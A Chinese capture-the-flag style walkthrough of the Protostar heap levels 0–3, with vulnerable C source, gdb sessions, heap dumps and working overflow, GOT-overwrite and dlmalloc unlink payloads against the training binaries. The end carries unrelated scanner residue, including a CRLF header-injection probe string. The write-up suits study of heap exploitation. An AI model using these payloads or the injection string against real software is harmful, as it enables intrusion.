protostar通关指南——heap系列
感觉是比较难的一部分了,毕竟堆溢出平常接触的少。
heap 0
源码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
先找溢出点:
user@protostar:/opt/protostar/bin$ gdb ./heap0
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) r `python /home/user/pattern.py create 150`
Starting program: /opt/protostar/bin/heap0 `python /home/user/pattern.py create 150`
data is at 0x804a008, fp is at 0x804a050
Program received signal SIGSEGV, Segmentation fault.
0x41346341 in ?? ()
user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x41346341
hex pattern decoded as: Ac4A
72
找到winner()
函数的地址:
user@protostar:/opt/protostar/bin$ objdump -d heap0 | grep win
08048464 <winner>:
构造payload:
user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08' "`
data is at 0x804a008, fp is at 0x804a050
level passed
不知道是不是正解。
heap 1
先贴代码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
出现问题的地方很容易找到,就是其中的两个strcpy
的地方,但是这题想执行winner()
的话,还是需要修改GOT
。先注意一点,printf()
会被优化称puts()
,所以我们实际上是修改puts()
在GOT
中的条目,让其调用puts()
的时候调用winner()
。这里就需要使用strcpy()
的方式来修改GOT
,让strcpy()
把winner()
函数的地址复制到GOT
表中对应的位置。
先来找这几个地址:
user@protostar:/opt/protostar/bin$ objdump -TR heap1
heap1: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 strcpy
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 time
00000000 DF *UND* 00000000 GLIBC_2.0 malloc
00000000 DF *UND* 00000000 GLIBC_2.0 puts
0804862c g DO .rodata 00000004 Base _IO_stdin_used
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804974c R_386_GLOB_DAT __gmon_start__
0804975c R_386_JUMP_SLOT __gmon_start__
08049760 R_386_JUMP_SLOT __libc_start_main
08049764 R_386_JUMP_SLOT strcpy
08049768 R_386_JUMP_SLOT printf
0804976c R_386_JUMP_SLOT time
08049770 R_386_JUMP_SLOT malloc
08049774 R_386_JUMP_SLOT puts
找到了puts()
的地址为0x08049774
,等下就要把这个地址里的内容覆盖掉。下面找一下winner()
的地址:
user@protostar:/opt/protostar/bin$ objdump -d heap1 | grep win
08048494 <winner>:
winner()
函数的地址为0x08048494
,下面我们就需要把0x08049774
中的内容替换为0x08048494
。先确定这两个部分在堆中的位置。
user@protostar:/opt/protostar/bin$ ltrace ./heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...>
malloc(8) = 0x0804a008
malloc(8) = 0x0804a018
malloc(8) = 0x0804a028
malloc(8) = 0x0804a038
strcpy(0x0804a018, "AAAA") = 0x0804a018
strcpy(0x0804a038, "BBBB") = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
) = 25
+++ exited (status 25) +++
可以看到大概是从0x0804a000
开始的,我们在执行完两次strcpy
的时候看一看内存中的情况。
user@protostar:/opt/protostar/bin$ gdb -q ./heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) b *main+161
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
(gdb) r AAAA BBBB
Starting program: /opt/protostar/bin/heap1 AAAA BBBB
Breakpoint 1, main (argc=3, argv=0xbffff854) at heap1/heap1.c:34
34 heap1/heap1.c: No such file or directory.
in heap1/heap1.c
(gdb) x/32x 0x0804a000
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
仔细观察一下,发现两个字符串被复制到了0x0804a018
和0x0804a038
的位置,然而复制到哪里也是在堆中标明的(看看0x0804a00c和0x0804a02c
中的内容),现在我们的目的是把0x0804a02c
的内容改为0x08049774
,让strcpy
向这个地址中复制内容,而复制的内容则是由我们输入的winner
地址,于是可以构造出payload
:
第一个参数:| junk code * 20 | p32(0x08049774) |
第二个参数:| 0x08048494 |
最终payload如下:
user@protostar:/opt/protostar/bin$ ./heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1438772753
heap 2
先上代码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
这题一开始发现了非预期漏洞:
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
service 12341234123412341234123412341234
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
具体为啥,调一下就知道了,主要是这句auth = malloc(sizeof(auth));
出问题了,变量重名导致的。
还是不明白出题人的意图。
heap 3
这题比较复杂,涉及到free()
的原理,先看源码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
这个题涉及到了free
时候的unlink
导致的溢出问题,当然这个题为了降低难度静态编译了libc
库,去掉了保护措施。推荐两篇文章:
- http://www.phrack.org/archives/issues/57/8.txt
- http://gee.cs.oswego.edu/dl/html/malloc.html
第一篇是关于堆溢出的文章,第二篇是关于dlmalloc
机制的,是dlmalloc
作者自己写的。
先来看看winner()
函数和puts()
的地址,为后面做准备。
user@protostar:/opt/protostar/bin$ objdump -d heap3 | grep win
08048864 <winner>:
user@protostar:/opt/protostar/bin$ objdump -R heap3
heap3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804b0e4 R_386_GLOB_DAT __gmon_start__
0804b140 R_386_COPY stderr
0804b0f4 R_386_JUMP_SLOT __errno_location
0804b0f8 R_386_JUMP_SLOT mmap
0804b0fc R_386_JUMP_SLOT sysconf
0804b100 R_386_JUMP_SLOT __gmon_start__
0804b104 R_386_JUMP_SLOT mremap
0804b108 R_386_JUMP_SLOT memset
0804b10c R_386_JUMP_SLOT __libc_start_main
0804b110 R_386_JUMP_SLOT sbrk
0804b114 R_386_JUMP_SLOT memcpy
0804b118 R_386_JUMP_SLOT strcpy
0804b11c R_386_JUMP_SLOT printf
0804b120 R_386_JUMP_SLOT fprintf
0804b124 R_386_JUMP_SLOT time
0804b128 R_386_JUMP_SLOT puts
0804b12c R_386_JUMP_SLOT munmap
我们丢到gdb
里调试起来,看几组堆的情况。三个堆a b c
在内存中的地址分别是:
a is at 0x804c008
b is at 0x804c030
c is at 0x804c058
这个只是user data
开始的地址,没有算meta data部分。
在第一次free
之前:
(gdb) x/40x 0x0804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
在free c
之后,free b
之前,注意0x0804c058
这个地址被清零了。
(gdb) x/40x 0x0804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
在free b
之后,free a
之前,注意0x0804c030
被改写成为了下一个空闲chunk
的地址,即C
堆开始的地方。
(gdb) x/40x 0x0804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
在free a
之后,注意0x0804c008
处的内容被改为了下一个空闲chunk
的地址,即b堆
开始的地方。
(gdb) x/40x 0x0804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
初步构造payload:
user@protostar:/opt/protostar/bin$ ./heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F
在gdb里面看情况:
user@protostar:/opt/protostar/bin$ gdb -q ./heap3
Reading symbols from /opt/protostar/bin/heap3...done.
(gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F
Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F
Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
in common/malloc.c
(gdb) x/i $eip
0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx
(gdb) i r
eax 0x44444444 1145324612
ecx 0x0 0
edx 0x45454545 1162167621
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6f0 0xbffff6f0
ebp 0xbffff738 0xbffff738
esi 0x0 0
edi 0x0 0
eip 0x80498fd 0x80498fd <free+217>
eflags 0x210202 [ IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
可以看到,在执行mov DOWRD PTR [eax+0xc], edx
的时候出错了,也就是要把edx
的内容写入[eax+0xc]
的位置,而此时EAX和EDX
分别是我们可控的部分DDDD和EEEE
,这样一来就能更改GOT
,从而把puts
函数改为winner
函数。
按照这个思路构造一下payload
:
(gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F
Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F
Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638 in common/malloc.c
(gdb) x/i $eip
0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx
(gdb) i r
eax 0x8048864 134514788
ecx 0x0 0
edx 0x804b11c 134525212
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6f0 0xbffff6f0
ebp 0xbffff738 0xbffff738
esi 0x0 0
edi 0x0 0
eip 0x8049906 0x8049906 <free+226>
eflags 0x210202 [ IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
还需要一个shellcode跳过去,因为.text段是只读的啊。继续修改payload:
(gdb) run `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F
that wasn't too bad now, was it? @ 1438801558
不明白的话这个地方下个断点看看就知道了。
Crawlergo
Crawlergo
Crawlergo
CRLF-Header:CRLF-Value
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo%0d%0aCRLF-Header:CRLF-Value
Crawlergo